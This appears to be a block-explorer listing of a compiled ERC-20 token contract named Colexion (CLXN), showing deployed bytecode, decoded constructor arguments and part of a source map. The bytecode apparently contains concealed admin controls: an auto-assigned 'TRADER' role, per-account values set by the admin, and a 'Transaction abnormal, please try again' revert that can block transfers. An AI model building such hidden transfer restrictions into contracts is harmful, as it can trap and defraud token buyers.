8101906103c691906123f1565b61099d565b005b6103e760048036038101906103e29190612253565b610a4f565b6040516103f49190612111565b60405180910390f35b610405610ab2565b6040516104129190611ffb565b60405180910390f35b61043560048036038101906104309190612253565b610b42565b604051610442919061216a565b60405180910390f35b610465600480360381019061046091906120b9565b610bb7565b6040516104729190612111565b60405180910390f35b610495600480360381019061049091906120b9565b610c9d565b6040516104a29190612111565b60405180910390f35b6104c560048036038101906104c0919061245d565b610cba565b005b6104e160048036038101906104dc9190612253565b610d3c565b6040516104ee919061216a565b60405180910390f35b610511600480360381019061050c9190612253565b610db0565b005b61052d6004803603810190610528919061249b565b610dd3565b60405161053a919061216a565b60405180910390f35b60606007805461055290612506565b80601f016020809104026020016040519081016040528092919081815260200182805461057e90612506565b80156105c95780601f106105a0576101008083540402835291602001916105c9565b820191905f5260205f20905b8154815290600101906020018083116105ac57829003601f168201915b5050505050905090565b5f6105e66105df610e55565b8484610e5c565b6001905092915050565b7f545241444552000000000000000000000000000000000000000000000000000081565b5f600654905090565b5f61062984848461101f565b5f60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610670610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156106ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e6906125a6565b60405180910390fd5b610703856106fb610e55565b858403610e5c565b60019150509392505050565b5f805f8381526020019081526020015f20600101549050919050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f801b81565b5f801b6107628161075d610e55565b61109d565b61076c8383611139565b505050565b5f6012905090565b5f805f1b61078e81610789610e55565b61109d565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b81526004016107c99291906125d3565b6020604051808303815f875af11580156107e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108099190612624565b91505092915050565b5f801b61082681610821610e55565b61109d565b61082e610e55565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461089b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610892906126bf565b60405180910390fd5b6108a58383611213565b505050565b5f6109476108b6610e55565b848460055f6108c3610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610942919061270a565b610e5c565b6001905092915050565b60025481565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f801b6109b1816109ac610e55565b61109d565b5f806109bc846112ed565b80925081935050505f151581151503610a0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a01906127ad565b60405180910390fd5b5f8210610a3b57610a368686610a31670de0b6b3a7640000866113fe90919063ffffffff16565b611413565b610a47565b610a4686865f611413565b5b505050505050565b5f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060088054610ac190612506565b80601f0160208091040260200160405190810160405280929190818152602001828054610aed90612506565b8015610b385780601f10610b0f57610100808354040283529160200191610b38565b820191905f5260205f20905b815481529060010190602001808311610b1b57829003601f168201915b5050505050905090565b5f610baf670de0b6b3a76400005f808681526020019081526020015f206002016001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461146d90919063ffffffff16565b905092915050565b5f8060055f610bc4610e55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610c7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c759061283b565b60405180910390fd5b610c92610c89610e55565b85858403610e5c565b600191505092915050565b5f610cb0610ca9610e55565b848461101f565b6001905092915050565b5f801b610cce81610cc9610e55565b61109d565b7f54524144455200000000000000000000000000000000000000000000000000008314610d30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d27906128a3565b60405180910390fd5b81600281905550505050565b5f610da8670de0b6b3a76400005f808681526020019081526020015f206002015f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461146d90919063ffffffff16565b905092915050565b5f801b610dc481610dbf610e55565b61109d565b610dce8383611213565b505050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec190612931565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f906129bf565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611012919061216a565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361108d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108490612a4d565b60405180910390fd5b611098838383611482565b505050565b6110a78282610a4f565b611135576110cc8173ffffffffffffffffffffffffffffffffffffffff166014611580565b6110d9835f1c6020611580565b6040516020016110ea929190612b39565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112c9190611ffb565b60405180910390fd5b5050565b6111438282610a4f565b61120f5760015f808481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506111b4610e55565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61121d8282610a4f565b156112e9575f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061128e610e55565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b5f805f5b83518110156113f0575f60308583815181106113105761130f612b72565b5b602001015160f81c60f81b60f81c6113289190612b9f565b60ff16108061136657506009603085838151811061134957611348612b72565b5b602001015160f81c60f81b60f81c6113619190612b9f565b60ff16115b15611377575f8092509250506113f9565b60018185516113869190612bd3565b6113909190612bd3565b600a61139c9190612d35565b60308583815181106113b1576113b0612b72565b5b602001015160f81c60f81b60f81c6113c99190612b9f565b60ff166113d69190612d7f565b836113e1919061270a565b925080806001019150506112f1565b50816001915091505b915091565b5f818361140b9190612d7f565b905092915050565b805f808581526020019081526020015f206002015f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f818361147a9190612ded565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612e8d565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156790612f1b565b60405180910390fd5b61157b8383836117b5565b505050565b60605f60028360026115929190612d7f565b61159c919061270a565b67ffffffffffffffff8111156115b5576115b46122cd565b5b6040519080825280601f01601f1916602001820160405280156115e75781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f8151811061161e5761161d612b72565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061168157611680612b72565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f60018460026116bf9190612d7f565b6116c9919061270a565b90505b6001811115611768577f3031323334353637383961626364656600000000000000000000000000000000600f86166010811061170b5761170a612b72565b5b1a60f81b82828151811061172257611721612b72565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600485901c94508061176190612f39565b90506116cc565b505f84146117ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a290612faa565b60405180910390fd5b8091505092915050565b5f151560095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611889576118337f545241444552000000000000000000000000000000000000000000000000000084611139565b600160095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b5f151560095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150361195d576119077f545241444552000000000000000000000000000000000000000000000000000083611139565b600160095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b61196883838361196d565b505050565b61197883838361197d565b505050565b61198883838361198d565b505050565b5f8111156119cd576119c17f54524144455200000000000000000000000000000000000000000000000000008484846119d2565b6119cc838383611b86565b5b505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a5257611a517f54524144455200000000000000000000000000000000000000000000000000008483611dfe565b5b611a5b83611e8d565b8015611ab4575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611aff57603260025403611afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af590613038565b60405180910390fd5b5b5f670de0b6b3a7640000611b138686610d3c565b611b1d9190612d7f565b90505f811115611b65575f82670de0b6b3a7640000611b3c8888610b42565b611b469190612d7f565b611b50919061270a565b9050611b5f8686858585611eaf565b50611b7e565b5f821480611b7257505f81145b15611b7d5750611b80565b5b505b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb90612a4d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5990612e8d565b60405180910390fd5b611c6d838383611f0c565b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce890612f1b565b60405180910390fd5b81810360045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611d81919061270a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611de5919061216a565b60405180910390a3611df8848484611f11565b50505050565b5f811115611e88575f670de0b6b3a7640000611e1a8585610d3c565b611e249190612d7f565b905060636002541115611e86575f611e45838361146d90919063ffffffff16565b11611e85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7c90613038565b60405180910390fd5b5b505b505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f831115611f0557818110611ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef090613038565b60405180910390fd5b611f04858583611f16565b5b5050505050565b505050565b505050565b805f808581526020019081526020015f206002016001015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611fa8578082015181840152602081019050611f8d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611fcd82611f71565b611fd78185611f7b565b9350611fe7818560208601611f8b565b611ff081611fb3565b840191505092915050565b5f6020820190508181035f8301526120138184611fc3565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120558261202c565b9050919050565b6120658161204b565b811461206f575f80fd5b50565b5f813590506120808161205c565b92915050565b5f819050919050565b61209881612086565b81146120a2575f80fd5b50565b5f813590506120b38161208f565b92915050565b5f80604083850312156120cf576120ce612024565b5b5f6120dc85828601612072565b92505060206120ed858286016120a5565b9150509250929050565b5f8115159050919050565b61210b816120f7565b82525050565b5f6020820190506121245f830184612102565b92915050565b5f819050919050565b61213c8161212a565b82525050565b5f6020820190506121555f830184612133565b92915050565b61216481612086565b82525050565b5f60208201905061217d5f83018461215b565b92915050565b5f805f6060848603121561219a57612199612024565b5b5f6121a786828701612072565b93505060206121b886828701612072565b92505060406121c9868287016120a5565b9150509250925092565b6121dc8161212a565b81146121e6575f80fd5b50565b5f813590506121f7816121d3565b92915050565b5f6020828403121561221257612211612024565b5b5f61221f848285016121e9565b91505092915050565b5f6020828403121561223d5761223c612024565b5b5f61224a84828501612072565b91505092915050565b5f806040838503121561226957612268612024565b5b5f612276858286016121e9565b925050602061228785828601612072565b9150509250929050565b5f60ff82169050919050565b6122a681612291565b82525050565b5f6020820190506122bf5f83018461229d565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61230382611fb3565b810181811067ffffffffffffffff82111715612322576123216122cd565b5b80604052505050565b5f61233461201b565b905061234082826122fa565b919050565b5f67ffffffffffffffff82111561235f5761235e6122cd565b5b61236882611fb3565b9050602081019050919050565b828183375f83830152505050565b5f61239561239084612345565b61232b565b9050828152602081018484840111156123b1576123b06122c9565b5b6123bc848285612375565b509392505050565b5f82601f8301126123d8576123d76122c5565b5b81356123e8848260208601612383565b91505092915050565b5f805f6060848603121561240857612407612024565b5b5f612415868287016121e9565b935050602061242686828701612072565b925050604084013567ffffffffffffffff81111561244757612446612028565b5b612453868287016123c4565b9150509250925092565b5f806040838503121561247357612472612024565b5b5f612480858286016121e9565b9250506020612491858286016120a5565b9150509250929050565b5f80604083850312156124b1576124b0612024565b5b5f6124be85828601612072565b92505060206124cf85828601612072565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061251d57607f821691505b6020821081036125305761252f6124d9565b5b50919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f612590602583611f7b565b915061259b82612536565b604082019050919050565b5f6020820190508181035f8301526125bd81612584565b9050919050565b6125cd8161204b565b82525050565b5f6040820190506125e65f8301856125c4565b6125f3602083018461215b565b9392505050565b612603816120f7565b811461260d575f80fd5b50565b5f8151905061261e816125fa565b92915050565b5f6020828403121561263957612638612024565b5b5f61264684828501612610565b91505092915050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e63655f8201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b5f6126a9602f83611f7b565b91506126b48261264f565b604082019050919050565b5f6020820190508181035f8301526126d68161269d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61271482612086565b915061271f83612086565b9250828201905080821115612737576127366126dd565b5b92915050565b7f416363657373436f6e74726f6c3a206d656d6f206973206e6f742061206e756d5f8201527f6265720000000000000000000000000000000000000000000000000000000000602082015250565b5f612797602383611f7b565b91506127a28261273d565b604082019050919050565b5f6020820190508181035f8301526127c48161278b565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612825602583611f7b565b9150612830826127cb565b604082019050919050565b5f6020820190508181035f83015261285281612819565b9050919050565b7f6565666e756d206973206e6f742061206e756d626572000000000000000000005f82015250565b5f61288d601683611f7b565b915061289882612859565b602082019050919050565b5f6020820190508181035f8301526128ba81612881565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61291b602483611f7b565b9150612926826128c1565b604082019050919050565b5f6020820190508181035f8301526129488161290f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6129a9602283611f7b565b91506129b48261294f565b604082019050919050565b5f6020820190508181035f8301526129d68161299d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a37602583611f7b565b9150612a42826129dd565b604082019050919050565b5f6020820190508181035f830152612a6481612a2b565b9050919050565b5f81905092915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000005f82015250565b5f612aa9601783612a6b565b9150612ab482612a75565b601782019050919050565b5f612ac982611f71565b612ad38185612a6b565b9350612ae3818560208601611f8b565b80840191505092915050565b7f206973206d697373696e6720726f6c65200000000000000000000000000000005f82015250565b5f612b23601183612a6b565b9150612b2e82612aef565b601182019050919050565b5f612b4382612a9d565b9150612b4f8285612abf565b9150612b5a82612b17565b9150612b668284612abf565b91508190509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f612ba982612291565b9150612bb483612291565b9250828203905060ff811115612bcd57612bcc6126dd565b5b92915050565b5f612bdd82612086565b9150612be883612086565b9250828203905081811115612c0057612bff6126dd565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612c5b57808604811115612c3757612c366126dd565b5b6001851615612c465780820291505b8081029050612c5485612c06565b9450612c1b565b94509492505050565b5f82612c735760019050612d2e565b81612c80575f9050612d2e565b8160018114612c965760028114612ca057612ccf565b6001915050612d2e565b60ff841115612cb257612cb16126dd565b5b8360020a915084821115612cc957612cc86126dd565b5b50612d2e565b5060208310610133831016604e8410600b8410161715612d045782820a905083811115612cff57612cfe6126dd565b5b612d2e565b612d118484846001612c12565b92509050818404811115612d2857612d276126dd565b5b81810290505b9392505050565b5f612d3f82612086565b9150612d4a83612086565b9250612d777fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c64565b905092915050565b5f612d8982612086565b9150612d9483612086565b9250828202612da281612086565b91508282048414831517612db957612db86126dd565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612df782612086565b9150612e0283612086565b925082612e1257612e11612dc0565b5b828204905092915050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612e77602383611f7b565b9150612e8282612e1d565b604082019050919050565b5f6020820190508181035f830152612ea481612e6b565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f612f05602383611f7b565b9150612f1082612eab565b604082019050919050565b5f6020820190508181035f830152612f3281612ef9565b9050919050565b5f612f4382612086565b91505f8203612f5557612f546126dd565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e745f82015250565b5f612f94602083611f7b565b9150612f9f82612f60565b602082019050919050565b5f6020820190508181035f830152612fc181612f88565b9050919050565b7f5472616e73616374696f6e2061626e6f726d616c2c20706c65617365207472795f8201527f20616761696e0000000000000000000000000000000000000000000000000000602082015250565b5f613022602683611f7b565b915061302d82612fc8565b604082019050919050565b5f6020820190508181035f83015261304f81613016565b905091905056fea2646970667358221220b402ced97f5734f8d85088d57ade290be0f8c2a2aed146726e498cbd974879c764736f6c63430008170033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000f1d78968efb7b880288d17bb707ea9cf1524583b00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000000000000000000000000000000000000000000008436f6c6578696f6e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004434c584e00000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Colexion
Arg [1] : _tokenOwner (address): 0xF1d78968EfB7b880288D17bB707eA9CF1524583B
Arg [2] : _symbol (string): CLXN
Arg [3] : _totalSupply (uint256): 1600000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 000000000000000000000000f1d78968efb7b880288d17bb707ea9cf1524583b
Arg [2] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [3] : 000000000000000000000000000000000000000000000000000000005f5e1000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 436f6c6578696f6e000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 434c584e00000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

27168:2590:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21263:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22231:188;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15457:50;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21584:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22427:514;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17845:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15578:40;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15413:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17976:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21483:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29546:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18262:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22949:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15548:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21700:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16385:497;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15734:138;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21371:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17650:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23247:475;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21845:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16892:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17457:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18118:136;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22047:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21263:100;21317:13;21350:5;21343:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21263:100;:::o;22231:188::-;22336:4;22353:36;22362:12;:10;:12::i;:::-;22376:7;22385:3;22353:8;:36::i;:::-;22407:4;22400:11;;22231:188;;;;:::o;15457:50::-;15490:17;15457:50;:::o;21584:108::-;21645:7;21672:12;;21665:19;;21584:108;:::o;22427:514::-;22564:4;22581:33;22591:6;22599:9;22610:3;22581:9;:33::i;:::-;22627:24;22654:11;:19;22666:6;22654:19;;;;;;;;;;;;;;;:33;22674:12;:10;:12::i;:::-;22654:33;;;;;;;;;;;;;;;;22627:60;;22740:3;22720:16;:23;;22698:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;22844:54;22853:6;22861:12;:10;:12::i;:::-;22894:3;22875:16;:22;22844:8;:54::i;:::-;22929:4;22922:11;;;22427:514;;;;;:::o;17845:123::-;17911:7;17938:6;:12;17945:4;17938:12;;;;;;;;;;;:22;;;17931:29;;17845:123;;;:::o;15578:40::-;;;;;;;;;;;;;;;;;;;;;;:::o;15413:36::-;15445:4;15413:36;;;:::o;17976:134::-;15445:4;18059:5;;15676:30;15687:4;15693:12;:10;:12::i;:::-;15676:10;:30::i;:::-;18077:25:::1;18088:4;18094:7;18077:10;:25::i;:::-;17976:134:::0;;;:::o;21483:93::-;21541:5;21566:2;21559:9;;21483:93;:::o;29546:205::-;29662:12;15445:4;29646:5;;15676:30;15687:4;15693:12;:10;:12::i;:::-;15676:10;:30::i;:::-;29701:12:::1;29694:29;;;29724:10;29736:6;29694:49;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;29687:56;;29546:205:::0;;;;;:::o;18262:234::-;15445:4;18348:5;;15676:30;15687:4;15693:12;:10;:12::i;:::-;15676:10;:30::i;:::-;18385:12:::1;:10;:12::i;:::-;18374:23;;:7;:23;;;18366:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;18462:26;18474:4;18480:7;18462:11;:26::i;:::-;18262:234:::0;;;:::o;22949:290::-;23062:4;23079:130;23102:12;:10;:12::i;:::-;23129:7;23188:10;23151:11;:25;23163:12;:10;:12::i;:::-;23151:25;;;;;;;;;;;;;;;:34;23177:7;23151:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;23079:8;:130::i;:::-;23227:4;23220:11;;22949:290;;;;:::o;15548:21::-;;;;:::o;21700:137::-;21787:7;21814:9;:15;21824:4;21814:15;;;;;;;;;;;;;;;;21807:22;;21700:137;;;:::o;16385:497::-;15445:4;16504:5;;15676:30;15687:4;15693:12;:10;:12::i;:::-;15676:10;:30::i;:::-;16522:16:::1;16549:8:::0;16586:22:::1;16604:3;16586:17;:22::i;:::-;16568:40;;;;;;;;16630:5;16623:12;;:3;:12;;::::0;16619:90:::1;;16652:45;;;;;;;;;;:::i;:::-;;;;;;;;16619:90;16744:1;16732:8;:13;16729:146;;16761:46;16774:4;16779;16784:22;16797:8;16784;:12;;:22;;;;:::i;:::-;16761:12;:46::i;:::-;16729:146;;;16838:25;16851:4;16856;16861:1;16838:12;:25::i;:::-;16729:146;16511:371;;16385:497:::0;;;;:::o;15734:138::-;15812:4;15836:6;:12;15843:4;15836:12;;;;;;;;;;;:19;;:28;15856:7;15836:28;;;;;;;;;;;;;;;;;;;;;;;;;15829:35;;15734:138;;;;:::o;21371:104::-;21427:13;21460:7;21453:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21371:104;:::o;17650:185::-;17759:7;17786:41;17818:8;17786:6;:12;17793:4;17786:12;;;;;;;;;;;:15;;:18;;:27;17805:7;17786:27;;;;;;;;;;;;;;;;:31;;:41;;;;:::i;:::-;17779:48;;17650:185;;;;:::o;23247:475::-;23365:4;23382:24;23409:11;:25;23421:12;:10;:12::i;:::-;23409:25;;;;;;;;;;;;;;;:34;23435:7;23409:34;;;;;;;;;;;;;;;;23382:61;;23496:15;23476:16;:35;;23454:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;23612:67;23621:12;:10;:12::i;:::-;23635:7;23663:15;23644:16;:34;23612:8;:67::i;:::-;23710:4;23703:11;;;23247:475;;;;:::o;21845:194::-;21953:4;21970:39;21980:12;:10;:12::i;:::-;21994:9;22005:3;21970:9;:39::i;:::-;22027:4;22020:11;;21845:194;;;;:::o;16892:215::-;15445:4;16982:5;;15676:30;15687:4;15693:12;:10;:12::i;:::-;15676:10;:30::i;:::-;15490:17:::1;17003:4;:14;17000:77;;17033:32;;;;;;;;;;:::i;:::-;;;;;;;;17000:77;17096:3;17087:6;: